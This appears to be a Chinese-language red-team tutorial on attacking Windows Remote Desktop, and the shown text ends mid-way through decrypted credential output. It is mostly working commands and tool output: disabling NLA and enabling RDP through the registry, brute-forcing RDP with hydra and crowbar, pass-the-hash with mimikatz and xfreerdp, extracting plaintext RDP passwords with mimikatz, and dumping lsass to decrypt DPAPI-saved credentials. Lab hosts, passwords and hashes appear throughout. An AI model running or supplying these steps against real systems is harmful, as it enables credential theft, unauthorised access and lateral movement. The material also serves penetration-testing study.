Windows 远程桌面
Remote Desktop Services
查询远程桌面服务的端口:(0xd3d
十六进制转十进制 3389
)
1
2
3
4
PS C:\Windows\System32> REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
PortNumber REG_DWORD 0xd3d
查询远程桌面服务是否开启:(1 表示关闭,0 表示开启)
1
2
3
4
PS C:\Windows\System32> REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
fDenyTSConnections REG_DWORD 0x0
开启远程桌面服务:(设置“允许远程连接到此计算机”)
1
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭远程桌面服务:
1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000001 /f
关闭 NLA(Network Level Authentication,网络级身份验证),当 UserAuthentication 为 0 代表关闭,1 代表开启:
1
2
3
4
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# 0:说明是进行远程桌面前不需要用户身份验证。
# 1:说明是进行远程桌面前需要进行用户身份验证。
通过查询 3389 端口的网络连接或服务详情都能查看到服务的进程号:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\Windows\System32> netstat -ano | findstr '3389'
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 2272
TCP [::]:3389 [::]:0 LISTENING 2272
UDP 0.0.0.0:3389 *:* 2272
UDP [::]:3389 *:* 2272
PS C:\Windows\System32> tasklist /svc | findstr 'TermService'
svchost.exe 2272 TermService
PS C:\Windows\System32> cmd /c 'sc queryex TermService'
SERVICE_NAME: TermService
TYPE : 30 WIN32
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 2272
FLAGS :
PS C:\Windows\System32> tasklist /M:rdpcorets.dll
映像名称 PID 模块
========================= ======== ============================================
svchost.exe 2272 rdpcorets.dll
NLA - Network Level Authentication
启用此选项后,用户必须先向网络验证自己的身份,然后才能连接到您的电脑。(默认开启)
如果获取到的用户密码已经过期了,可以尝试使用 rdesktop 连接到未开启 NLA 的主机修改密码。
Windows 原生的 mstsc.exe 不支持使用已经过期的密码进入到远程登录界面,会在连接时就提示 此用户帐户的密码已过期。必须更改密码才能登录。请更新密码,或者与系统管理员或技术支持联系。
如下图:
获取到的域用户凭据过期了:
1
2
3
4
5
6
7
8
9
root@kali:~# proxychains4 -q cme smb 172.22.2.3/24 -u William -p Willg1UoO6Jt
SMB 172.22.2.16 445 MSSQLSERVER [*] Windows Server 2016 Datacenter 14393 x64 (name:MSSQLSERVER) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB 172.22.2.3 445 DC [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
SMB 172.22.2.18 445 UBUNTU-WEB02 [*] Windows 6.1 Build 0 (name:UBUNTU-WEB02) (domain:) (signing:False) (SMBv1:False)
SMB 172.22.2.34 445 CLIENT01 [*] Windows 10.0 Build 18362 x64 (name:CLIENT01) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB 172.22.2.16 445 MSSQLSERVER [-] xiaorang.lab\William:Willg1UoO6Jt STATUS_PASSWORD_EXPIRED
SMB 172.22.2.3 445 DC [-] xiaorang.lab\William:Willg1UoO6Jt STATUS_PASSWORD_EXPIRED
SMB 172.22.2.18 445 UBUNTU-WEB02 [+] \William:Willg1UoO6Jt
SMB 172.22.2.34 445 CLIENT01 [-] xiaorang.lab\William:Willg1UoO6Jt STATUS_PASSWORD_EXPIRED
使用 CME 的 RDP 模块,扫描未开启 NLA 的主机:
1
2
root@kali:~# cme rdp 172.22.2.34
RDP 172.22.2.34 3389 CLIENT01 [*] Windows 10 or Windows Server 2016 Build 18362 (name:CLIENT01) (domain:xiaorang.lab) (nla:False)
使用 MSF 的 RDP 脚本,扫描未开启 NLA 的主机:
1
2
3
4
5
6
7
8
9
10
11
msf6 > use scanner/rdp/rdp_scanner
msf6 auxiliary(scanner/rdp/rdp_scanner) > set rhosts 172.22.2.34/24
rhosts => 172.22.2.34/24
msf6 auxiliary(scanner/rdp/rdp_scanner) > set threads 30
threads => 30
msf6 auxiliary(scanner/rdp/rdp_scanner) > run
[*] 172.22.2.3:3389 - Detected RDP on 172.22.2.3:3389 (name:DC) (domain:XIAORANG) (domain_fqdn:xiaorang.lab) (server_fqdn:DC.xiaorang.lab) (os_version:10.0.14393) (Requires NLA: Yes)
[*] 172.22.2.16:3389 - Detected RDP on 172.22.2.16:3389 (name:MSSQLSERVER) (domain:XIAORANG) (domain_fqdn:xiaorang.lab) (server_fqdn:MSSQLSERVER.xiaorang.lab) (os_version:10.0.14393) (Requires NLA: Yes)
[*] 172.22.2.34:3389 - Detected RDP on 172.22.2.34:3389 (name:CLIENT01) (domain:XIAORANG) (domain_fqdn:xiaorang.lab) (server_fqdn:CLIENT01.xiaorang.lab) (os_version:10.0.18362) (Requires NLA: No)
[*] Auxiliary module execution completed
使用 rdesktop 连接未开启 NLA 的主机,修改已经过期的密码:
1
2
3
4
5
6
root@kali:~# proxychains4 -q rdesktop 172.22.2.34 -d xiaorang.lab -u William -p Willg1UoO6Jt -z
Autoselecting keyboard map 'en-us' from locale
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
注:rdesktop 只能用来连接未开启 NLA 的主机。它的 NLA (CredSSP) 支持不完整,在连接开启了 NLA 的 Windows 主机时会产生错误。详情见:https://github.com/rdesktop/rdesktop/issues/279。
RDP Brute Force Attack
crowbar 使用示例:
1
2
3
4
5
6
root@kali:~# crowbar -b rdp -s 192.168.86.61/32 -u victim -C /root/words.txt -n 1
2017-10-10 14:59:55 START
2017-10-10 14:59:55 Crowbar v0.3.5-dev
2017-10-10 14:59:55 Trying 192.168.86.61:3389
2017-10-10 15:00:08 RDP-SUCCESS : 192.168.86.61:3389 - victim:s3cr3t
2017-10-10 15:00:08 STOP
hydra 使用示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~# cat ./user_passwd.txt
huangmin:8I5VZpg4Mf
zhangrong:cHY716Zauf
...
root@kali:~# cat ./targets.txt
172.22.14.46:3389
...
root@kali:~# proxychains4 -q hydra -C ./user_passwd.txt -M ./targets.txt rdp -f
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-04 23:22:47
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 3 servers, overall 12 tasks, 242 login tries, ~61 tries per task
[DATA] attacking rdp://(3 targets):3389/
[3389][rdp] host: 172.22.14.46 login: zhangshuai password: wSbEajHzZs
[STATUS] attack finished for 172.22.14.46 (valid pair found)
[ERROR] child 10 sent nonsense data, killing and restarting it!
[STATUS] 581.00 tries/min, 581 tries in 00:01h, 145 to do in 00:01h, 8 active
3 of 3 targets successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-04 23:23:56
注:kali 内置的 medusa 不包含 rdp.mod 模块(medusa -d 查看当前所有模块),如果想要使用 medusa 来爆破 rdp 需要自行编译(超麻烦的 🫤)。
impacket-rdp_check 支持使用哈希来确定目标机器是否允许该用户使用 RDP 进行登录:
1
2
3
4
root@kali:~# impacket-rdp_check domain.com/administrator@10.10.10.11 -hashes :618B18AD4171A53695DD997AB02D55C4
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Access Granted
SharpRDPCheck 也实现了这一效果:
1
2
3
4
5
PS C:\Windows\System32> .\SharpRDPCheck.exe 192.168.70.128 3389 plaintext test test
[+] Valid:test test
PS C:\Windows\System32> .\SharpRDPCheck.exe 192.168.70.128 3389 ntlmhash test 0cb6948805f797bf2a82807973b89537
[+] Valid:test 0cb6948805f797bf2a82807973b89537
Pass-The-Hash with RDP
Restricted Admin Mode
Restricted Admin Mode(受限管理模式)提供了一种交互式登录远程主机服务器的方法,而无需将您的凭据传输到服务器。如果服务器遭到破坏,这可以防止您的凭据在初始连接过程中被窃取。
受限管理员更改了远程桌面协议,使其使用网络登录而不是交互式登录进行身份验证。有了这种保护,建立 RDP 会话将不需要提供关联的密码;相反用户的 NTLM Hash 或 Kerberos 票证将用于身份验证。
受限管理员模式只对管理员组成员有效。如果获取到的用户只属于远程桌面用户组,那么是无法通过 hash 登录的。
注:使用 NTLM hash 进行 RDP 登录,客户端和服务器端都需要开启
Restricted Admin Mode
。
新建 DWORD 类型键值 DisableRestrictedAdmin,0 代表开启,1 代表关闭:
1
REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
查询 DisableRestrictedAdmin 的值,0x0
表示已开启:
1
REG QUERY HKLM\System\CurrentControlSet\Control\Lsa | findstr DisableRestrictedAdmin
Restricted Admin Mode 本来是为了提高系统的安全性,但是却支持了 Pass-the-Hash 的利用。
在防御上,只需要针对 Pass-the-Hash 的利用进行防御就好,详情见:https://www.microsoft.com/en-us/download/details.aspx?id=36036。
Windows - mstsc.exe
客户端连接命令:
1
mstsc.exe /restrictedadmin
在开启 Restricted Admin Mode
后,如果你的 Windows 不支持,执行命令后会弹出远程桌面的参数说明,如下图:
攻击者使用 mimiketz 进行 pth 运行远程桌面程序 Restricted Admin Mode,在进行 RDP 登录时不需要再输入密码,直接登录即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::pth /user:Administrator /domain:172.22.1.2 /ntlm:10cf89a850fb1cdbe6bb432b859164c8 "/run:mstsc.exe /restrictedadmin"
user : Administrator
domain : 172.22.1.2
program : mstsc.exe /restrictedadmin
impers. : no
NTLM : 10cf89a850fb1cdbe6bb432b859164c8
| PID 6664
| TID 5700
| LSA Process is now R/W
| LUID 0 ; 1535426 (00000000:00176dc2)
\_ msv1_0 - data copy @ 000002A6FB76A260 : OK !
\_ kerberos - data copy @ 000002A6FB8DB5A8
\_ des_cbc_md4 -> null
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ *Password replace @ 000002A6FB6B9768 (32) -> null
mimikatz #
此时使用该用户 hash 执行了 /run:mstsc.exe /restrictedadmin
命令,在弹出的远程桌面连接窗口,输入目标主机地址进行连接可直接连接上:
如果目标的受限管理模式没有被启动,可以使用 mimikatz 进行 PTH:
1
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:172.22.1.2 /ntlm:10cf89a850fb1cdbe6bb432b859164c8 /run:powershell.exe"
此时,会弹出一个目标主机的 PowerShell 窗口,在窗口中执行命令修改目标注册表,以启用 Restricted Admin Mode:
1
Enter-PSSession -Computer <Target> New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force
现在,就可以使用 NTLM hash 进行 RDP 登录了。
Linux - FreeRDP
安装 xfreerdp:
1
2
sudo apt-get update
sudo apt-get install freerdp2-x11
命令:
1
xfreerdp /u:John@Domain.com /pth:eec9381b043f098b011be51622282027 /v:xx.xx.xx.xx /cert-ignore /tls-seclevel:0
/cert-ignore
禁用证书检查/cert-tofu
首次连接时信任证书检查/tls-seclevel:0
在连接旧版本 Windows 操作系统时,该选项会增加兼容性
效果:
Dumping RDP Credentials
获取正在进行 RDP 连接的用户凭证
情况一:在获取到目标主机控制权后,发现有人正在 RDP 连接当前主机。
可以在当机上运行 mimikatz 从正在运行 RDP 会话中提取出当前用户的明文凭据:(在高版本的 windows 主机中并不好用)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
C:\Users\Administrator\Desktop> sc query termservice
SERVICE_NAME: termservice
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
C:\Windows\System32> .\mimikatz.exe 'privilege::debug' 'ts::logonpasswords' 'exit'
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # ts::logonpasswords
!!! Warning: false positives can be listed !!!
* Web Credentials? *
Domain : hostname_domain
UserName : administrator
* Marshaled: [BinaryBlob] e7 03 00 00 00 00 00 00 0b e6 d8 02 90 0e 14 47 43 28 17 8f 81 6d 15 78 4f 98 25 11 12 ea a0 98
* Web Credentials? *
Domain : hostname_domain
UserName : administrator
* Marshaled: [BinaryBlob] e7 03 00 00 00 00 00 00 0b e6 d8 02 90 0e 14 47 43 28 17 8f 81 6d 15 78 4f 98 25 11 12 ea a0 98
* Web Credentials? *
Domain : hostname_domain
UserName : administrator
* Marshaled: [BinaryBlob] e7 03 00 00 00 00 00 00 0b e6 d8 02 90 0e 14 47 43 28 17 8f 81 6d 15 78 4f 98 25 11 12 ea a0 98
Domain : hostname_domain
UserName : Administrator
Password/Pin: Admin@123
mimikatz(commandline) # exit
Bye!
情况二:在获取到目标主机控制权后,发现当前主机正在使用 RDP 客户端连接其它远程主机时。
可以从进程 mstsc.exe 中提取出所使用的用户明文凭据:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PS C:\Windows\System32> tasklist | findstr "mstsc.exe"
mstsc.exe 8272 Console 1 228,148 K
PS C:\Windows\System32> .\mimikatz.exe 'privilege::debug' 'ts::mstsc' 'exit'
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # ts::mstsc
!!! Warning: false positives can be listed !!!
| PID 3060 mstsc.exe (module @ 0x00000000008DFBD0)
ServerName [wstring] 'xx.xx.xx.xx'
ServerFqdn [wstring] ''
UserSpecifiedServerName [wstring] 'xx.xx.xx.xx'
UserName [wstring] 'Administrator'
Domain [wstring] 'hostname_domain'
Password [protect] 'Admin@123'
SmartCardReaderName [wstring] ''
PasswordContainsSCardPin [ bool ] FALSE
ServerNameUsedForAuthentication [wstring] 'xx.xx.xx.xx'
RDmiUsername [wstring] 'administrator'
mimikatz(commandline) # exit
Bye!
获取 RDP 历史连接凭证和解密密钥
当用户在使用 RDP 连接远程主机时,如图勾选了“记住我的凭据”,那么连接远程主机时所使用的用户凭证会被保存在用户机器上,方便用户下一次进行连接:
远程桌面所保存的用户身份凭证使用 DPAPI (Data Protection Application Programming Interface, 数据保护 API) 进行加密,这是 Windows 操作系统中用于数据保护的接口,如:WIFI 密码、VPN、IE 浏览器、Chrome 浏览器、Outlook 邮箱等应用都使用了该方式进行加密。
DPAPI 在进行数据加解密的操作时需要使用一个 MasterKey 密钥,每个用户都对应一个 MasterKey,而 MasterKey 使用用户密码进行加密。MasterKey 文件在操作系统中的位置:
- 用户 MasterKey 文件保存路径:
%APPDATA%\Microsoft\Protect\<User_SID>\<Master_Key_File>
; - 系统 MasterKey 文件保存路径:
%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User\<Master_Key_File>
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Windows\System32>whoami /user
用户信息
----------------
用户名 SID
==================== ============================================
desktop-test\test S-1-5-21-102229053-337446436-1419803206-1001
# 用户 Master Key Files 位置
C:\Windows\System32>dir /a /b /s %APPDATA%\Microsoft\Protect\
C:\Users\test\AppData\Roaming\Microsoft\Protect\CREDHIST
C:\Users\test\AppData\Roaming\Microsoft\Protect\S-1-5-21-102229053-337446436-1419803206-1001
C:\Users\test\AppData\Roaming\Microsoft\Protect\S-1-5-21-102229053-337446436-1419803206-1001\273001c6-c88c-422a-aecb-daa6f950f8d0
C:\Users\test\AppData\Roaming\Microsoft\Protect\S-1-5-21-102229053-337446436-1419803206-1001\52c3460d-2e8b-4764-957c-57185d4d62b2
C:\Users\test\AppData\Roaming\Microsoft\Protect\S-1-5-21-102229053-337446436-1419803206-1001\Preferred
注:Master Key File 的同级目录还有一个 Preferred 文件,显示当前系统正在使用的 MasterKey 及其过期时间,默认 90 天有效期。
从注册表中查看 RDP 连接过的服务器:
1
2
3
4
C:\Windows\System32> reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.70.130
UsernameHint REG_SZ DESKTOP-TEST\administrator
将目标主机上存在连接凭证的 RDP 会话文件,下载到攻击者本地环境再进行离线解密:
1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Windows\System32> dir /a /q %userprofile%\AppData\Local\Microsoft\Credentials\
驱动器 C 中的卷没有标签。
卷的序列号是 E8C4-028B
C:\Users\test\AppData\Local\Microsoft\Credentials 的目录
2023/11/24 15:30 <DIR> DESKTOP-TEST\test .
2023/11/24 15:30 <DIR> DESKTOP-TEST\test ..
2023/11/24 15:30 482 DESKTOP-TEST\test 84BD531FDD20A7ED510558FA8768BA20
2023/10/24 00:23 11,106 DESKTOP-TEST\test DFBE70A7E5CC19A398EBF1B96859CE5D
2 个文件 11,588 字节
2 个目录 33,538,547,712 可用字节
注 - CS 下载文件命令:
download %userprofile%\AppData\Local\Microsoft\Credentials\*
使用 procdump 转储 lsass.exe 进程:
1
2
3
4
5
6
7
8
9
10
11
PS C:\Windows\System32> .\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[15:32:56] Dump 1 initiated: C:\Windows\System32\lsass.dmp
[15:32:56] Dump 1 writing: Estimated dump file size is 75 MB.
[15:32:56] Dump 1 complete: 75 MB written in 0.2 seconds
[15:32:57] Dump count reached.
使用 Mimikatz 从指定的 RDP 会话文件中,获取到 guidMasterKey 值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mimikatz # dpapi::cred /in:84BD531FDD20A7ED510558FA8768BA20
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {52c3460d-2e8b-4764-957c-57185d4d62b2}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription :
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : cbc61bdb2a8cda88dafb2c090aaf64b6c8edfc5f32a134839f083fa469a95c7f
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 3c157c9d67b4e62952b3f8b72d841a35cff4d012e46c2c8f91e4e21af8a91e45
dwDataLen : 000000f0 - 240
pbData : 3e705a067361549290c628f53ae625d3961d29c2eeba9ba24270723dc3021ad8f6bb9e29c474951492d3ae470daf715825b33652607967a9394f0d10b7e35a34c57396d41e9faba5ea89fe969a7ead9e76035dfe3aff6c2b7d6332ea0b2fec5ea2eca2ad1054808dab04d17e4a818f2fbe0aed21b3e217604f2b52e04736c77349f0455c832af7120ffb1eda7dd3b5fc6214f697564e28b2c916d8ab926ffc65571e6475ca7d746e63d4b919519970233359ef2c547f2f3422b9d4199e1f4bcc3f5d034f6d47da39469331fa31adacefaba7dd7aae4b6fb3fea8a873815336cff1c62bb60b2fdbb69647c520a01550f6
dwSignLen : 00000040 - 64
pbSign : f776ff8611228511d6c93bd259caeea4bdf66908fc9a79c6c5841d85bb340f02489972d82ca9124bf6adc48ac6c4341a2012dc070a3d6c9b1c850d29298bd4a0
注:获取到的 guidMasterKey 值,其实就是的 Master Key File 的名称。
可以在
%APPDATA%\Microsoft\Protect\<UserSID>\<MasterKeyFile>
中找到。
使用 mimikatz 加载从目标机的 lsass.dmp 转储文件;
并通过对应的 MasterKey 文件名(guidMasterKey/GUID 值)找到对应的 MasterKey 值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
mimikatz # sekurlsa::dpapi
Opening : 'lsass.dmp' file for minidump...
Authentication Id : 0 ; 439901 (00000000:0006b65d)
Session : Interactive from 1
User Name : test
Domain : DESKTOP-TEST
Logon Server : DESKTOP-TEST
Logon Time : 2023-11-24 14:26:41
SID : S-1-5-21-102229053-337446436-1419803206-1001
[00000000]
* GUID : {273001c6-c88c-422a-aecb-daa6f950f8d0}
* Time : 2023-11-24 14:51:01
* MasterKey : 9458e389d675c03e3134abca123a5f97b0344db9ec7eb77ca65e962ed238d3d9d62ba12e9b227587df8f430762790758c7a1dcf8f0baad587c0301305e088205
* sha1(key) : a00423233ef319472dd71c7356322f7b00b29e13
[00000001]
* GUID : {52c3460d-2e8b-4764-957c-57185d4d62b2}
* Time : 2023-11-24 15:30:06
* MasterKey : 6beeec39772b606a7ac31f190d3c5cab56e00bd0bef7fe898cc826b12930a402b3163877d3a4d9aadafc2457a31ab2b35522b711c2512156db940ddf350c27f7
* sha1(key) : b53ebc9462b9cf6284f116b46d3a869091cc398f
Authentication Id : 0 ; 439845 (00000000:0006b625)
Session : Interactive from 1
User Name : test
Domain : DESKTOP-TEST
Logon Server : DESKTOP-TEST
Logon Time : 2023-11-24 14:26:41
SID : S-1-5-21-102229053-337446436-1419803206-1001
......
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : DESKTOP-TEST$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2023-11-24 14:26:34
SID : S-1-5-18
[00000000]
* GUID : {806436a2-285b-4457-9634-9fe864996faa}
* Time : 2023-11-24 15:29:23
* MasterKey : a399f4fb6ab9caed09407c4adf12a83ab52fd63ff8edf5c2db95daf4178bab8755fd29f876c878fcbb7140692222d3c7fd4306091b8215a7bf461237bb832d60
* sha1(key) : 434dba543e494c255867a7676fd6b05d958cf950
[00000001]
* GUID : {4a44a108-4a52-462e-873d-37a342a538f7}
* Time : 2023-11-24 14:29:57
* MasterKey : dcd5d78081c7e5c5889ca8dbb90a848c6bc55fa68c5a3f0706367aed9f80e8c55842f1cd8af826e2412fbed6d506959c61a4402b259fafc7aad404042ded5f78
* sha1(key) : ad78f0a094c61142ab740c84f8bcc04bc1de3ae4
[00000002]
* GUID : {39272925-c391-4d0d-9c03-6040edc70d70}
* Time : 2023-11-24 14:29:07
* MasterKey : 82355294e567a47527246f27be711123bd1a03c3faff9cd21c0531cc7bf5cba0363a12366a64a1853d889f10828265646329feb14c92e2d6a9b95a6b64029c84
* sha1(key) : 1b14f9a9f6075470cd1de67cdfea63e5787ed0bf
[00000003]
* GUID : {b38ac866-4d4a-4c36-a406-a3c4ca1d8314}
* Time : 2023-11-24 14:26:42
* MasterKey : 3c5509ef5d2092496afc864744215690b8391b88548c9d7e565886b90c491cd9d25be0f13c2127eff8f57270c9baccb63ba49c86d1c143abd5062c651f737c70
* sha1(key) : a52ec4f4053e1cec48d8d9d1c5fe2486e590b06b
[00000004]
* GUID : {52771d12-761e-43e8-a30d-8c868b34f454}
* Time : 2023-11-24 15:00:37
* MasterKey : 1e12db5656f9a3a8a032d5c4bed34a130ced9703ad489b059dd27593141e00bb11596c4612b706786591da8c759967e9d75c4f64a3b1398b636bddeadc3378e2
* sha1(key) : f73e089b0369d8257beeb1b1b2b87491edc81a65
注:
273001c6-c88c-422a-aecb-daa6f950f8d0
和52c3460d-2e8b-4764-957c-57185d4d62b2
对应的 MasterKey 都可以解密凭证,因为这两个都是该用户的 MasterKey 文件:%APPDATA%\Microsoft\Protect\<UserSID>\<MasterKeyFile>
。
最后使用 Masterkey 从文件中解密凭证,得到明文密码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
mimikatz # dpapi::cred /in:84BD531FDD20A7ED510558FA8768BA20 /masterkey:6beeec39772b606a7ac31f190d3c5cab56e00bd0bef7fe898cc826b12930a402b3163877d3a4d9aadafc2457a31ab2b35522b711c2512156db940ddf350c27f7
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {52c3460d-2e8b-4764-957c-57185d4d62b2}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription :
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : cbc61bdb2a8cda88dafb2c090aaf64b6c8edfc5f32a134839f083fa469a95c7f
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 3c157c9d67b4e62952b3f8b72d841a35cff4d012e46c2c8f91e4e21af8a91e45
dwDataLen : 000000f0 - 240
pbData : 3e705a067361549290c628f53ae625d3961d29c2eeba9ba24270723dc3021ad8f6bb9e29c474951492d3ae470daf715825b33652607967a9394f0d10b7e35a34c57396d41e9faba5ea89fe969a7ead9e76035dfe3aff6c2b7d6332ea0b2fec5ea2eca2ad1054808dab04d17e4a818f2fbe0aed21b3e217604f2b52e04736c77349f0455c832af7120ffb1eda7dd3b5fc6214f697564e28b2c916d8ab926ffc65571e6475ca7d746e63d4b919519970233359ef2c547f2f3422b9d4199e1f4bcc3f5d034f6d47da39469331fa31adacefaba7dd7aae4b6fb3fea8a873815336cff1c62bb60b2fdbb69647c520a01550f6
dwSignLen : 00000040 - 64
pbSign : f776ff8611228511d6c93bd259caeea4bdf66908fc9a79c6c5841d85bb340f02489972d82ca9124bf6adc48ac6c4341a2012dc070a3d6c9b1c850d29298bd4a0
Decrypting Credential:
* volatile cache: GUID:{52c3460d-2e8b-4764-957c-57185d4d62b2};KeyHash:b53ebc9462b9cf6284f116b46d3a869091cc398f;Key:available
* masterkey : 6beeec39772b606a7ac31f190d3c5cab56e00bd0bef7fe898cc826b12930a402b3163877d3a4d9aadafc2457a31ab2b35522b711c2512156db940ddf350c27f7
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000e0 - 224
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 2023-11-24 7:30:06
unkFlagsOrSize : 00000018 - 24
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
